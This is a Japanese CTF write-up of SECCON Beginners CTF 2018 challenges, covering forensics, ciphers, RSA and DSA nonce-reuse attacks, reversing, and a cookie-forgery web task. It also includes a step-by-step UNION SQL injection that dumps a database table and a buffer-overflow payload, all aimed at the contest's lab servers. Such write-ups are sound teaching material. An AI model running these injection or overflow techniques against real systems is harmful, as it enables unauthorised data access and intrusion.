SECCON Beginners CTF 2018 Writeup

この大会は2018/5/26 13:00(JST)~2018/5/27 13:00(JST)に開催されました。
今回は久々に一人チームで参戦。結果は1222点で844チーム中47位でした。
バイナリ系が弱いことを再確認した大会です。
自分で解けた問題をWriteupとして書いておきます。

[Warmup] Welcome (Misc)

IRCチャネルの名前の横に書いてある。

ctf4b{welcome_to_seccon_beginners_ctf}

[Warmup] plain mail (Misc)

smtp通信の中からメールを取り出し、さらにそこから添付されているZIPファイルを取り出す。
パスワードもあとで送信されていることがわかる。

_you_are_pro_

このパスワードでZIPファイルを展開すると、ファイルにフラグが書かれている。

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず (Misc)

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
694 * 888 =

ひらすら計算していけばよい。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

data = recvuntil(s, '.\n---------------------------------------------------------------\n')
print data

for i in range(100):
    data = recvuntil(s, '\n')
    formula = recvuntil(s, '= ')
    ans = str(eval(formula.replace('=', '')))
    print data + formula + ans
    s.sendall(ans + '\n')

data = recvuntil(s, '\n')
data += recvuntil(s, '\n')
print data

100回正解すると、フラグが表示された。

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages (Misc)

FTK Imagerでイメージファイルを開くと、message1~3のフォルダがある。
message1のフォルダにはmessage_1_of_3.txtがあり、Base64文字列が書かれている。

Y3RmNGJ7eTB1X3QwdWNoZWQ=
$ echo Y3RmNGJ7eTB1X3QwdWNoZWQ= | base64 -d
ctf4b{y0u_t0uched

message2のフォルダにはmessage_2_of_3.pngがあるが、pngだが、ヘッダ8バイトがXXXXXXXXとなっていて、末尾には00がたくさんついている。PNGのヘッダに書き換え、末尾の00をすべて削除すると、画像にフラグの一部が書いてある。
f:id:satou-y:20180528202735p:plain
message3のファオルダにはファイルが見当たらないが、ファイル名がpdfであることだけわかる。08447のファイル内にPDFがあるので、切り出すとフラグの一部が書いてある。
f:id:satou-y:20180528203049p:plain
結合すると、フラグになる。

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

[Warmup] Greeting (Web)

コードを見ると、postパラメータには何も入れずに、Cookieのnameパラメータにadminが設定されていればよいことがわかる。

$ curl -b 'name=admin' http://greeting.chall.beginners.seccon.jp/
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!adminさん!</h1>
    <hr>
          こんにちは管理者さん。
      Flagは、 &quot;ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}&quot;です。
       :
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}

SECCON Goods (Web)

ソースを見ると、item.phpを介して、DBにアクセスしていることがわかる。union selectによるSQLインジェクションと推定し、順番に情報を取っていく。

$ curl "http://goods.challeginners.seccon.jp/items.php?minstock=10 union select 1,2,3,4 --"
$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select 1,2,3,4,5 --"
[{"id":"1","name":"2","description":"3","price":"4","stock":"5"}]
$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select table_name,1,2,3,4 from information_schema.tables --"
[{"id":"CHARACTER_SETS","name":"1","description":"2","price":"3","stock":"4"},{"id":"COLLATIONS","name":"1","description":"2","price":"3","stock":"4"},……,
{"id":"flag","name":"1","description":"2","price":"3","stock":"4"},{"id":"items","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルがあることがわかる。

$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select column_name,1,2,3,4 from information_schema.columns where table_name='flag' --"
[{"id":"flag","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルにはflagカラムがあることがわかる。

$ curl "http://goods.chall.beginners.seccon.jp/items.php?minstock=10 union select flag,1,2,3,4 from flag --"
[{"id":"ctf4b{cl4551c4l_5ql_1nj3c710n}","name":"1","description":"2","price":"3","stock":"4"}]

flagテーブルにはflagカラムにflagが入っていた。

ctf4b{cl4551c4l_5ql_1nj3c710n}

[Warmup] Veni, vidi, vici (Crypto)

part1~3の暗号がある。part1は以下の暗号。

Gur svefg cneg bs gur synt vf: pgs4o{a0zber

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号。ROT13で復号できた。

The first part of the flag is: ctf4b{n0more

part2は以下の暗号。

Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u

これもシーザー暗号。同じく上記のサイトで復号。ROT18で復号できた。

The second part of the flag is: _cLass!cal_c

part3は以下の暗号。

{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

上下逆にすると、フラグの一部になる。

The third part of the flag is: Rypt0graphy}

すべて結合すると、フラグになる。

ctf4b{n0more_cLass!cal_cRypt0graphy}

Streaming (Crypto)

フラグの先頭がわかっているので、逆算して最初のgを算出する。あとはXORで元に復号すればよい。

A = 37423
B = 61781
C = 34607

pre_flag = 'ctf4b{'

def next(seed):
    seed = (A * seed + B) % C
    return seed

with open('streaming/encrypted', 'rb') as f:
    data = f.read()

xor0 = ord(data[0]) + ord(data[1]) * 256
xor1 = ord(data[2]) + ord(data[3]) * 256
xor2 = ord(data[4]) + ord(data[5]) * 256

x0 = xor0 ^ int(pre_flag[0:2].encode('hex'), 16)
x1 = xor1 ^ int(pre_flag[2:4].encode('hex'), 16)
x2 = xor2 ^ int(pre_flag[4:6].encode('hex'), 16)

assert (A * x0 + B) % C == x1
assert (A * x1 + B) % C == x2

flag = ''
g = x0
for i in range(0, len(data), 2):
    xor_val = ord(data[i]) + ord(data[i+1]) * 256
    x = xor_val ^ g
    flag +=('%x' % x).decode('hex')
    g = next(g)

print flag
ctf4b{lcg-is-easily-predictable}

RSA is Power (Crypto)

n, e, cが与えられている。nをfactordbで素因数分解する。

p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713

あとはそのまま復号すればよい。

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316
p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713

phi = (p - 1) * (q - 1)

x = 0
while True:
    if (phi * x + 1) % E == 0:
        d = (phi * x + 1) / E
        break
    x = x + 1

m = pow(C, d, N)

flag = ('%x' % m).decode('hex')
print flag
ctf4b{5imple_rs4_1s_3asy_f0r_u}

Well Known (Crypto)

$ nc crypt1.chall.beginners.seccon.jp 31337
p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
aabbccddeeff
r = 62645628195244559274546419372547789374311683313901304193197771394466831076496
s = 60381278484527044314928671102330799715626880732615158327909340984580039303092

p, q, gの値が表示される。ECDSAと同様の問題。kはsha1で計算しているので、sha1の衝突データを2つ指定できれば、同じrで異なるsの値が得られる。それができればxの値を計算してフラグが得られる。
https://github.com/sonickun/sha1-colliderスクリプトを使って、2つのsha1衝突ファイルを作成する。サイズが大きいが多少削っても衝突する。rが同じ値になるよう調整し、最終的には以下のコードでフラグが得られrた。

import socket
import hashlib
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypt1.chall.beginners.seccon.jp', 31337))

data = recvuntil(s, '\n')
print data[:-1]
p = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
q = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
g = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]

with open('a-collision.pdf', 'rb') as f:
    shattered1 = f.read()

with open('b-collision.pdf', 'rb') as f:
    shattered2 = f.read()

send_shattered1 = shattered1[:-2000]
h_send_shattered1 = send_shattered1.encode('hex')
print h_send_shattered1
s.sendall(h_send_shattered1 + '\n')

data = recvuntil(s, '\n')
print data[:-1]
r1 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
s1 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]

send_shattered2 = shattered2[:-2000]
h_send_shattered2 = shattered2[:-2000].encode('hex')
print h_send_shattered2
s.sendall(h_send_shattered2 + '\n')

data = recvuntil(s, '\n')
print data[:-1]
r2 = int(data.strip().split(' ')[2])

data = recvuntil(s, '\n')
print data[:-1]
s2 = int(data.strip().split(' ')[2])

assert r1 == r2

h1 = int(hashlib.sha256(send_shattered1).hexdigest(), 16)
h2 = int(hashlib.sha256(send_shattered2).hexdigest(), 16)

k = int(((h1 - h2) % q) * inverse(((s1 - s2) % q), q))
x = int((((((s1 * k) % q) - h1) % q) * inverse(r1, q)) % q)
print x

flag = ('%x' % x).decode('hex')
print flag
ctf4b{be_c4reful_w1th_k}

[Warmup] Simple Auth (Reversing)

$ ltrace ./simple_auth 
__libc_start_main(0x400792, 1, 0x7ffd88601cd8, 0x400830 <unfinished ...>
printf("Input Password: ")                       = 16
__isoc99_scanf(0x4008c5, 0x7ffd88601bc0, 0x7f81381249e0, 1024Input Password: aaa
) = 1
strlen("aaa")                                    = 3
strlen("ctf4b{rev3rsing_p4ssw0rd}\377\377\377")  = 28
puts("Umm...Auth failed..."Umm...Auth failed...
)                     = 21
+++ exited (status 0) +++
ctf4b{rev3rsing_p4ssw0rd}

[Warmup] condition (Pwn)

IDA Freewareで開く。0xdeadbeefと比較している箇所がある。次にgdbで確認する。

      :
gdb-peda$ n
abcdefghijklm
[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdc80 ("abcdefghijklm")
RBX: 0x0 
RCX: 0xfbad2288 
RDX: 0x7ffff7dd59f0 --> 0x0 
RSI: 0x7ffff7ff900d --> 0xa (b'\n')
RDI: 0x7fffffffdc8d --> 0x400850000000 
RBP: 0x7fffffffdcb0 --> 0x0 
RSP: 0x7fffffffdc80 ("abcdefghijklm")
RIP: 0x4007a0 (<main+47>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef)
R8 : 0x7ffff7ff900e --> 0x0 
R9 : 0x0 
R10: 0xd (b'\r')
R11: 0x246 
R12: 0x400660 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdd90 --> 0x1 
R14: 0x0 
R15: 0x0
[-------------------------------------code-------------------------------------]
   0x400793 <main+34>:	mov    rdi,rax
   0x400796 <main+37>:	mov    eax,0x0
   0x40079b <main+42>:	call   0x400620 <gets@plt>
=> 0x4007a0 <main+47>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x4007a7 <main+54>:	jne    0x4007bf <main+78>
   0x4007a9 <main+56>:	mov    edi,0x4008f8
   0x4007ae <main+61>:	call   0x4005c0 <puts@plt>
   0x4007b3 <main+66>:	mov    edi,0x40091e
[------------------------------------stack-------------------------------------]
00:0000| rax rsp 0x7fffffffdc80 ("abcdefghijklm")
01:0008| rdi-5   0x7fffffffdc88 --> 0x6d6c6b6a69 (b'ijklm')
02:0016|         0x7fffffffdc90 --> 0x400850 (<__libc_csu_init>:	push   r15)
03:0024|         0x7fffffffdc98 --> 0x400660 (<_start>:	xor    ebp,ebp)
04:0032|         0x7fffffffdca0 --> 0x7fffffffdd90 --> 0x1 
05:0040|         0x7fffffffdca8 --> 0x0 
06:0048| rbp     0x7fffffffdcb0 --> 0x0 
07:0056|         0x7fffffffdcb8 --> 0x7ffff7a32f45 (<__libc_start_main+245>:	mov    edi,eax)
[------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x00000000004007a0 in main ()

入力が xxx(44バイト)+\xef\xbe\xad\xde の場合にフラグが得られるはず。

$ python -c "print 'a'* 44 + '\xef\xbe\xad\xde'" | nc pwn1.chall.beginners.seccon.jp 16268
Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}